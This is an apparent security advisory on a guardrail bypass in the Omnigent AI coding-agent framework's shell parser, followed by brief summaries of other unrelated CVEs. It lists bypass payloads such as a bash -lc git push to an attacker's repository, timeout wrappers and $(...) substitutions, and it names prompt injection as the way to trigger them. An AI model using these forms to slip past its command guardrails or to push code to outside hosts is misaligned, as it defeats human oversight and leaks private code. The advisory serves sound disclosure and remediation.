Sep 3, 2026·5 min read·3 visits
Flaws in Omnigent's shell-command parser allow command wrappers, interactive flags, or command substitutions to bypass security guardrails and run forbidden operations due to a fail-open default.
A high-severity security guardrail policy bypass vulnerability was identified in the Omnigent AI agent framework. The shell-command parser failed to correctly identify gated commands wrapped in certain command modifiers, combined interpreter flags, or command substitutions. Consequently, the default fail-open behavior allowed arbitrary execution of restricted operations.
The Omnigent framework is an open-source AI agent system designed to orchestrate autonomous coding tasks. To limit potential damage from running generated code, the framework implements guardrails. These guardrails gate execution contexts and ensure agents remain within their assigned directory boundaries and remote source code repositories.
The shell-command parser implemented in omnigent/policies/builtins/_shell.py analyzes commands to identify potentially hazardous actions. The parser's primary function is to inspect target commands (such as git push or path manipulation) and hand them to the active guardrail engine.
Due to parsing gaps in handling nested wrappers, complex CLI flags, and subshell executions, the parser fails to identify these hazardous actions. Because the default behavior of these guardrails is to abstain and fail open, any failed parsing attempt results in the execution of the unauthorized command.
The root cause is classified under CWE-184: Incomplete List of Disallowed Inputs, coupled with a fail-open mechanism in the validation engine. When the parser in _shell.py encounters a command string, it splits the arguments and compares the root execution tokens against known target patterns.
If a command is wrapped using option-bearing wrappers with duration configurations (for example, timeout -s KILL 5m git push), the original parser was unable to skip the option parameters. It treated the argument -s or 5m as the base command, leaving the trailing target command undetected.
Furthermore, the parser failed to recursive-evaluate interpreter targets when flags were grouped together (e.g., bash -lc instead of bash -c). Command substitutions like $(...) and backticks were skipped entirely, with the parser treating the outer statement as a safe assignment. When the parser failed to recognize any actionable commands, it returned None, leading the policy engine to assume no gated activities were being executed.
The vulnerability lies in omnigent/policies/builtins/_shell.py. Below is the logical transition of the shell-command parser showing the insecure implementation and the subsequent patch introduced in commit 1a05b7b139ef504bf2be89bf37918abe104fb95c.
Previously, only bare commands or basic wrappers listed in CMD_WRAPPERS were skipped. The parser lacked logic to evaluate structured arguments like timeouts or nested evaluations:
# VULNERABLE
CMD_WRAPPERS: frozenset[str] = frozenset({"sudo", "env", "command", "time", "nohup", "exec"})
# Did not handle wrappers with flags (such as 'timeout -s KILL 5m')
# Did not scan for command substitutions like $(...)The patch introduces structured skipping of flags and durations, and extracts nested executions recursively.
# PATCHED
# Map specific wrappers to their expected flag options
_FLAG_WRAPPERS: dict[str, frozenset[str]] = {
"timeout": frozenset({"-s", "--signal", "-k", "--kill-after"}),
"nice": frozenset({"-n", "--adjustment"}),
"stdbuf": frozenset({"-i", "--input", "-o", "--output", "-e", "--error"}),
"setsid": frozenset(),
}
_DURATION_WRAPPERS: frozenset[str] = frozenset({"timeout"})
_INTERPRETER_C_FLAG = re.compile(r"-[A-Za-z]*c[A-Za-z]*$")
# The split logic now scans command substitutions first
def split_command_segments(command: str) -> list[str]:
outer, bodies = _extract_command_substitutions(command)
parts = re.split(r"&&|\|\||[;|\n&]", outer)
segments = [seg.strip() for seg in parts if seg.strip()]
for body in bodies:
segments.extend(split_command_segments(body))
return segmentsThis implementation uses a balanced-parenthesis scanner to extract the inner segments of $() and backticks, ensuring hidden operations are queued for structural validation.
Exploitation requires the attacker to have the ability to supply shell commands to the agent. This is typically achieved via remote prompt injection or by compromising an execution branch. Once the agent executes a structured bypass payload, the guardrail fails.
An attacker can construct payloads leveraging three major bypass patterns:
Interpreter Flags: Bypassing detection using unified flags (e.g., bash -lc "git push https://github.com/attacker/evil main"). The parser fails to parse -lc and returns None.
Duration Wrappers: Structuring command options to disrupt parameter counts (e.g., timeout -s KILL 5m git push ...). The parser fails to step over -s KILL 5m and misses the trailing payload.
Subshell Assignments: Escaping detection using environment variables (e.g., x=$(git push ...)). The parser classifies this as a simple assignment rather than evaluating the inner shell execution.
The bypass vulnerability is assigned a CVSS score of 7.1. Because AI coding agents are frequently integrated directly into CI/CD pipelines and given write access to code repositories, the ability to bypass guardrails yields direct access to target hosts or main codebases.
An attacker can abuse this bypass to exfiltrate private source code, write directly to restricted branches, or modify operational files. If the agent's sandbox shares network namespaces with local services, this vulnerability can lead to unauthorized service interactions.
Because the guardrails default to allowing execution if parsing fails, any unrecognized or highly nested shell commands execute directly on the target workspace, making containment highly difficult.
The primary remediation is upgrading the Omnigent AI framework to version v0.3.0 or later. This version contains the rewritten command parser which correctly evaluates nested payloads, wrappers, and shell parameters.
If upgrading is not immediately possible, deploy structural configurations to mitigate the risk. Restrict the shell interpreters available in the agent execution environment, or disable the default shell execution tools entirely.
Implement secondary network-level controls to prevent unauthorized git push attempts. Use repository branch protection rules to enforce dual-party reviews on all branches, ensuring malicious changes cannot be merged even if the guardrails are bypassed.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Omnigent omnigent-ai | < v0.3.0 | v0.3.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-184 |
| Attack Vector | Network |
| CVSS | 7.1 |
| EPSS Score | 0.00295 |
| EPSS Percentile | 21.63% |
| Impact | Guardrail Policy Bypass |
| Exploit Status | POC |
| KEV Status | Not Listed |
The product lacks an effective blocklist or parser validation mechanism, allowing attackers to bypass policy controls through alternative input structures.
A stored and reflected Cross-Site Scripting (XSS) vulnerability was identified in the SiYuan kernel before version v3.7.3. The flaw occurs due to a parser differential between the backend Go-based HTML sanitizer and the browser-side XML rendering engine. Attackers can bypass the SVG sanitizer to execute arbitrary JavaScript within the context of the application's origin, leading to complete workspace compromise, data exfiltration, and full local kernel API manipulation.
An incomplete mitigation in the export-handling logic of SiYuan Notebook allowed authenticated users to bypass directory traversal protections. By crafting a request with percent-encoded path navigation sequences targeting the /export/temp/ route prefix, attackers can trigger an unvalidated short-circuit block that serving arbitrary files from the host server. This bypass renders previous path-traversal mitigations ineffective for the affected endpoint.
CVE-2026-62669 is a critical Improper Authentication vulnerability (CWE-287) in the Grav Login Plugin for Grav CMS. Prior to version 3.8.11, the plugin's key rotation task failed to verify if a user session was fully authorized before regenerating and returning two-factor authentication (2FA) secrets. Consequently, an attacker possessing a victim's primary credentials could invoke this endpoint to replace the 2FA secret, retrieve the replacement, and bypass the MFA constraint entirely.
An interpretation conflict (CWE-436) exists in the Ruby 'mail' library's RFC 2047 decoding implementation. Vulnerable versions utilize regular expressions with overly greedy qualifiers and a singular matching strategy. When parsing malformed headers, these design flaws trigger unexpected exception-handling behaviors, outputting raw, unparsed strings. Consequently, intermediate security gateways and downstream Ruby processors interpret email addresses differently, enabling authentication bypasses, phishing, and header spoofing.
Hurl version 8.0.1 and earlier contains a sensitive information exposure vulnerability during cross-origin HTTP redirections. Cookies defined via a dedicated [Cookies] parser block are carried into the redirected request, whereas standard raw Cookie headers are correctly stripped. This allows attackers to capture session credentials by redirecting Hurl clients to untrusted external hosts.
CVE-2026-63490 is a critical path traversal vulnerability in the Spring MVC integration of Handlebars.java. It allows unauthenticated remote attackers to bypass suffix validation and retrieve arbitrary system files via crafted dynamic view names.